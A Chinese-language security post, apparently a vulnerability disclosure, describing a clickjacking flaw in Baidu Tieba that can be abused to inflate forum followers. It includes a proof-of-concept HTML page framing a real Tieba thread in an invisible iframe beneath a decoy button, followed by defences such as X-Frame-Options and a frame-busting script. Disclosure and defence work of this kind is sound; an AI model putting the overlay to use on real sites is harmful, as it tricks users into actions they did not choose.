百度贴吧没考虑点击劫持防御,可造成恶意刷粉丝。 估计很多地方都没考虑,还可以继续挖。 点击劫持(ClickJacking)是由互联网安全专家罗伯特.汉森和耶利米.格劳斯在2008年首创的。是一种视觉欺骗手段,在Web端就是Iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。 百度贴吧页面没考虑该漏洞,可以导致恶意刷粉丝。 想象一下,我在某个大号下留个劲爆消息,诱导用户到我的域名点击按钮,最后大家都成我贴吧的粉丝了。 我的本地页面代码: <html> <head> <meta charset="utf-8" /> <title>demo</title> </head> <div style="z-index:999;opacity:0.0;width:2000px; height:2500px;overflow:hidden;position:absolute;"> <iframe id="inner" style="position:absolute;top:0px;width:1500px;height:1500px;left:0px;" src="https://tieba.baidu.com/p/3564916309"></iframe> </div> <button id="click" style="cursor:pointer;z-index:10px;position:absolute;top:235px;left:438px;text-align:center;width:84px;height:35px;">点我试试</button> </html> 解决方案:一、X-FRAME-OPTIONS X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。 并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。 这个头有三个值: DENY // 拒绝任何域加载 SAMEORIGIN // 允许同源域下加载 ALLOW-FROM // 可以定义允许frame加载的页面地址 php中设置示例: header ( "X-FRAME-OPTIONS:DENY"); 二、目前最好的js的防御方案为: <head> <style> body { display : none;} </style> </head> <body> <script> if (self == top) { var theBody = document.getElementsByTagName('body')[0]; theBody.style.display = "block"; } else { top.location = self.location; } </script> |
-
上一篇: doyocms平行权限问题之泄露订单 - 网站安全 - 自学php网
下一篇: 2345浏览器设计缺陷导致安全性不如IE浏览器存在潜在风险 - 网站安全 - 自学php网
还没有人抢沙发呢~